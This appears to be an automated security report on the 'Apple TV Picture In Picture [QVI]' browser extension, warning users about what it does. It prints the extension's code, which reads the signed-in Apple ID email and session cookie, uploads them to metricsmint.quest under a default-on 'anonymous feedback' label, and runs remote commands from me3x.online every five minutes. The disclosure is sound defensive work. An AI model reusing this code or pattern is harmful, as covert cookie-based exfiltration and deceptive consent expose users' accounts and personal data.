Is Apple TV Picture In Picture [QVI] safe?
Apple TV Picture In Picture reads the signed-in user's Apple ID email and sends it to third-party servers.
While a user is signed in on any apple.com page, the extension automatically reads their tv.apple.com session cookie and uses it to fetch their real Apple ID email and country from Apple's own account endpoint. It uploads that email, the account cookie, and a persistent install ID to metricsmint.quest, describing the collection to users as an anonymous, optional feedback share that is actually enabled by default. Separately, it polls me3x.online every 5 minutes for remote commands, which it uses to scrape the account's Apple TV subscription data and upload the results back to the same server.
Who publishes itHideApp - 39 other listings from the same operator, 4 of them carrying a finding
HideApp - 39 other listings from the same operator, 4 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
39 other listings published from this account, 129k+ users between them. 4 of them carry a finding.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension fetches remote commands and scrapes your subscriptions every 5 minutes
Code analysis shows that while you're signed in, the extension fetches a server-defined command list from me3x.online, runs it, including reading your subscribed streaming services, and uploads the results to me3x.online every 5 minutes.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
You sign into your Apple Account and load any apple.com page.
The only gate is whether the tv.apple.com session cookie is present.
The extension asks a third-party server what to do next, then runs whatever commands come back and reports the results.
The command list, for example reading your streaming subscriptions, is chosen by me3x.online at request time, not fixed in the extension's shipped code.
AppletvHunter fetches remote commands and reschedules itself every 5 minutes
Starts on content-script load, reschedules itself forever
appletv.min.jsclass AppletvHunter { supportDomain(domain) { return domain.indexOf(appletvUrl) !== -1; } async run() { await scrapeAppletvData(); // reschedules itself forever, every 5 minutes, with no user action setTimeout(() => this.run(), rerunAppletvInterval); // rerunAppletvInterval = 300000 }}The fetch-commands-run-commands-upload cycle
appletv.min.jsasync function scrapeAppletvData() { if (!isLogged()) return; // isLogged() just checks the pltvcid cookie exists await setToken(); const commandsInitData = await fetchCommandsInitData(); const commands = await fetchCommandsToSend(commandsInitData); // POST .../appletv/start const commandsData = await executeCommandsToSend(commands); // runs each returned command await sendCommandsData(commandsData); // POST .../appletv/upload}The init payload sent to me3x.online/n/appletv/start
appletv.min.jsasync function fetchCommandsInitData() { const accountId = getUserIdCookie(); // pltvcid cookie const profileId = accountId; const extensionUserId = await getOrCreateExtensionUserId() || ""; const country = getCountryCookie(); const optedOut = await isOptedOut(); return new InitCommandsData( accountId, profileId, extensionUserId, getHid(), getLocalTimeDiff(), getBrowserLanguage(), getDist(), country, optedOut );}- Apple account/session IDaccountId=00060.a1e39f7c8d2b4e1c9a5f6b3d2c1e0f9a.1653
The value of your tv.apple.com session cookie, sent as your account identifier.
- Persistent install IDextensionUserId=a72fd3b0-6c1e-4b2a-9f3d-7e5c8a1b4d90
A random ID stored locally that links every request back to the same browser install.
- Device/browser fingerprinthid=7f3c1a90-df22-4e7b-9c4a-1b6e0a5f8d33, browserLanguage=en-US
A hardware/install identifier plus your browser language and timezone offset.
- Extension install IDdist=fiobfiacigcijhaifiloodgijacbgcek
Your Chrome extension instance ID, letting the server target specific installs.
The server picks which commands run, including reading your subscriptions
Command dispatch, keyed by server-supplied type
appletv.min.js// The server's response to /appletv/start names which of these to runconst CommandTypes = { BOOKMARKS: "videos_bookmarks", CONTINUE_WATCHING: "continue_watching", SUBSCRIPTIONS: "subscriptions"};function getCommandData({ id, type, config }) { switch (type) { case CommandTypes.BOOKMARKS: return executeAsyncDataGetter(getBookmarks, id, config); case CommandTypes.CONTINUE_WATCHING: return executeAsyncDataGetter(getContinueWatching, id, config); case CommandTypes.SUBSCRIPTIONS: return executeAsyncDataGetter(getSubscriptions, id, config); }}Every 5 minutes
The start-then-upload command cycle repeats every 5 minutes for as long as an apple.com tab stays open, with no further action from you.
- me3x.online
Issues the command list your extension executes (/n/appletv/start) and receives the results (/n/appletv/upload), including scraped subscription data.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Extension sends your real Apple ID email to a third party as 'feedback'
Code analysis shows the extension reads your signed-in Apple ID email via tv.apple.com's account API, then sends the email, a cookie value, and a persistent install ID to metricsmint.quest, a site never named in its own opt-out text.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You sign into your Apple Account and load any apple.com page.
The content script only checks that the tv.apple.com session cookie exists before running.
The extension reads your real Apple ID email from Apple's own account API and sends it to metricsmint.quest.
The extension's own on-page banner describes this data sharing as anonymous feedback and is shown only after a user turns it off; it is on by default for everyone else.
- Your Apple ID emailcustomer_email=jsmith84@icloud.com
Your real, signed-in Apple account email address.
- Apple account/session IDaccount_id=00060.a1e39f7c8d2b4e1c9a5f6b3d2c1e0f9a.1653
The value of your tv.apple.com session cookie, forwarded as an account identifier.
- Persistent install IDextension_user_id=a72fd3b0-6c1e-4b2a-9f3d-7e5c8a1b4d90
A random ID generated once and stored locally, letting metricsmint.quest link every upload to the same browser install.
- Billing countrycustomer_country=US
The country associated with your Apple account.
The upload body isn't encrypted, just base64-encoded, so it looks opaque in captured traffic but decodes straight to plain JSON.
{ "svod": "appletv", "account_id": "00060.a1e39f7c8d2b4e1c9a5f6b3d2c1e0f9a.1653", "extension_user_id": "a72fd3b0-6c1e-4b2a-9f3d-7e5c8a1b4d90", "customer_email": "jsmith84@icloud.com", "customer_country": "US"}Reading the Apple ID email and uploading it to a third party as 'anonymous feedback'
Builds the upload from the signed-in account
appletv.min.jsasync function handleAdditionalProfileData() { const accountId = getUserIdCookie(); // reads cookie "pltvcid" const extensionUserId = await getOrCreateExtensionUserId(); const url = "https://buy.tv.apple.com/account/information/sections"; const accountData = await postRequest(url, { sections: ["accountSummary"] }); // postRequest sends credentials: "include", so Apple's session cookies ride along const customerEmail = accountData.accountSummary?.appleId; const customerCountry = accountData.accountSummary?.country; const dataToUpload = { account_id: accountId, extension_user_id: extensionUserId, customer_email: customerEmail, customer_country: customerCountry }; await sendAdditionalProfileData("appletv", dataToUpload);}Uploads it to metricsmint.quest
appletv.min.jsasync function sendAdditionalProfileData(svod, data) { // config.d1 == "https://metricsmint.quest/up" const response = await fetch(config.piUrl, { method: "POST", body: b64encode(JSON.stringify({ svod, ...data })) }); return response.json();}The banner calling this 'anonymous feedback', shown only once a user opts out
baner.js / background.js// baner.js: the opt-out banner text calls the data "anonymous feedback"const bannerText = chrome.i18n.getMessage('optOutBannerText') || "Hollywood needs your anonymous feedback! If you decide not to share, " + "no worries, we won't bother you again. But turning it on will help " + "improve future shows and keep our apps free.";// background.js: shareInsights defaults to true on install, and the// banner is only ever shown once the user has already turned it OFF// (baner.js: checkAndShowOptOutBanner gates on shareInsights === false)chrome.storage.sync.get(['shareInsights'], (result) => { if (result.shareInsights === undefined) { chrome.storage.sync.set({ shareInsights: true }); // on by default }});- metricsmint.quest
Receives your real email, account cookie value, and persistent install ID via POST /up; not named in the extension's own opt-out banner text.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Apple TV Picture In Picture [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- metricsmint.questwidely used
Apple TV Picture In Picture [QVI] sends data to metricsmint.quest. A widely used service: 60 other extensions we have analyzed send data here.
- me3x.onlinewidely used
Apple TV Picture In Picture [QVI] sends data to me3x.online. A widely used service: 58 other extensions we have analyzed send data here.